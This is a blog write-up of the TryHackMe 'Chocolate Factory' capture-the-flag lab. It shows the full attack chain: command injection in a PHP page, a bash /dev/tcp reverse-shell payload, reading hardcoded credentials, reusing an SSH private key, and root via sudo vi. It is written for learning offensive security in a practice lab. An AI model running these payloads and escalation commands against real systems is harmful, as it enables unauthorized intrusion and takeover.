> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Chocolate Factory Writeup
- URL: https://taiwanding.com/en/tryhackme-chocolate-factory-writeup/
- Published: 2025-10-13T06:49:28.000Z
- Updated: 2026-07-15T02:49:57.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Room Info

- **Platform**: TryHackMe
- **Room Name**: Chocolate Factory
- **Difficulty**: Easy
- **Goal**: Capture the User Flag, Root Flag, and Charlie's password
- **Link**: [https://tryhackme.com/room/chocolatefactory](https://tryhackme.com/room/chocolatefactory?ref=taiwanding.com)

## Recon Phase

### Nmap Scan

```bash
nmap -sV -sC -p- 10.201.8.19 -Pn

```

**Scan results:**

- Port 22: SSH
- Port 80: HTTP (Apache)

### Directory Enumeration

```bash
gobuster dir -u http://10.201.8.19/ \
  -w /usr/share/wordlists/dirb/common.txt -t 20

```

**Paths discovered:**

- `/index.html` \- Main page
- `/home.php` \- Command interface
- `/validate.php` \- Login validation

### Step 1: Command Injection Vulnerability

Finding the vulnerability  
Visiting the command interface home.php reveals a command execution form:

```html
<form method="POST">
    <input id="comm" type="text" name="command" placeholder="Command">
    <button>Execute</button>
</form>

```

The backend PHP code has a serious flaw: (first run ls to confirm index.php.bak exists, then cat it)

```php
<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        echo shell_exec($cmd);  // Directly executes user input!
    }
?>

```

### Setting Up a Reverse Shell

**Step 1: Start a listener locally (Windows PowerShell)**

```bash
ncat -lvnp 4444

```

**Step 2: Inject the payload**

Enter into the form:

```bash
bash -c 'bash -i >& /dev/tcp/10.13.90.144/4444 0>&1'

```

**Got a www-data shell!**

### Step 2: Grab Charlie's Password

File enumeration

```bash
www-data@ip-10-201-8-19:/var/www/html$ ls -al
total 1152
-rw-rw-r-- 1 charlie charley     303 Sep 30  2020 validate.php
-rw-rw-r-- 1 charlie charley     273 Sep 29  2020 index.php.bak
-rw-r--r-- 1 charlie charley    8496 Sep 30  2020 key_rev_key

```

Inspect validate.php

```bash
cat validate.php

```

**Key finding:**

```php
<?php
    $uname=$_POST['uname'];
    $password=$_POST['password'];
    if($uname=="charlie" && $password=="cn7824"){
        echo "<script>window.location='home.php'</script>";
    }
?>

```

**Charlie's password: `cn7824`**

### Step 3: Analyze key\_rev\_key to Recover the Encryption Key

Download the file — or just analyze it right on the reverse shell!

```bash
# On the target machine
python3 -m http.server 8000

# On the local machine
wget http://10.201.8.19:8000/key_rev_key

```

### Reverse Engineering

```bash
file key_rev_key
# key_rev_key: ELF 64-bit LSB executable

strings key_rev_key

```

**Encryption key discovered:**

```
b'-VkgXhFf6sAEcAwrC6YR-Redacted='
```

This is a Fernet encryption key — it'll come in handy later!

### Step 4: SSH In to Capture the User Flag

Finding the SSH private key

```bash
www-data@ip-10-201-8-19:/home/charlie$ ls -al
-rw-r--r-- 1 charlie charley 1675 Oct  6  2020 teleport
-rw-r--r-- 1 charlie charley  407 Oct  6  2020 teleport.pub
-rw-r----- 1 charlie charley   39 Oct  6  2020 user.txt

```

Log in with the private key  
**Step 1: Copy the private key locally**

```bash
cat teleport

```

Copy the entire RSA private key (from `-----BEGIN RSA PRIVATE KEY-----` to `-----END RSA PRIVATE KEY-----`)

**Step 2: Save it and set permissions**

```bash
nano charlie_key
# Paste the private key contents

chmod 600 charlie_key

```

**Step 3: SSH login**

```bash
ssh -i charlie_key charlie@10.201.8.19

```

**Logged in!** (The private key has no passphrase.)

### Capture the User Flag

```bash
charlie@ip-10-201-8-19:~$ cat user.txt
flag{Redacted}

```

### Step 5: Privilege Escalation to Root

Check sudo privileges

```bash
charlie@ip-10-201-8-19:~$ sudo -l

User charlie may run the following commands on ip-10-201-8-19:
    (ALL : !root) NOPASSWD: /usr/bin/vi

```

Escalate via Vi  
Reference: [GTFOBins - vi](https://gtfobins.github.io/gtfobins/vi/?ref=taiwanding.com)

```bash
sudo vi -c ':!/bin/sh' /dev/null

```

**Got a root shell!**

```bash
# whoami
root

```

### Step 6: Decrypt the Final Flag

Finding the encryption script

```bash
# cd /root
# ls
root.py  snap

# cat root.py

```

**Script contents:**

```python
from cryptography.fernet import Fernet
import pyfiglet

key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()

display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)

```

Run it locally  
Since the target machine is missing the `cryptography` module, download the script and run it locally:

```bash
# Local machine
nano root.py
# Paste the script contents

pip3 install cryptography pyfiglet

python3 root.py

```

**Enter the key you recovered earlier:**

```
Enter the key:  -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

```

### Get the Final Flag

```
__   __               _               _   _                 _____ _
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
  ___                              ___   __
 / _ \__      ___ __   ___ _ __   / _ \ / _|
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_
| |_| |\ V  V /| | | |  __/ |    | |_| |  _|
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|
  ____ _                     _       _
 / ___| |__   ___   ___ ___ | | __ _| |_ ___
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
 _____          _
|  ___|_ _  ___| |_ ___  _ __ _   _
| |_ / _` |/ __| __/ _ \| '__| | | |
|  _| (_| | (__| || (_) | |  | |_| |
|_|  \__,_|\___|\__\___/|_|   \__, |
                              |___/
flag{Redacted}

```

## Key Takeaways

### 1\. Command Injection Vulnerability

- **Tell-tale sign**: user input passed straight into `shell_exec()` or `system()`

### 2\. Exploiting an SSH Private Key

### 3\. Sudo Privesc - Vi/Vim

- **Check with**: `sudo -l`
- **Reference**: [GTFOBins](https://gtfobins.github.io/?ref=taiwanding.com)

**Exploitation**:

```bash
sudo vi -c ':!/bin/sh' /dev/null# or sudo vim -c ':!/bin/bash'

```

### 4\. Fernet Encryption/Decryption

- **Characteristics**: Base64-encoded symmetric encryption

## Lessons Learned

### On Step 1: Command Injection

According to validate.php, you're supposed to log in from index.html and get redirected to this home.php page before you can reach the command injection. But gobuster finds the page right away, and since there's no authentication check at all, you can trivially bypass the login and execute commands directly.

### On Step 2: Grabbing Charlie's Password

I actually came back for Charlie's password only after grabbing all the flags. I tried cracking his local password via /etc/shadow, and I tried cracking the SSH login password too, but neither went anywhere. So I went back to the very first reverse shell and realized I'd overlooked validate.php.

### On Step 6: Decrypting the Final Flag:

The final flag has an extra layer of decryption — a first for me across these boxes, and a pretty fun touch!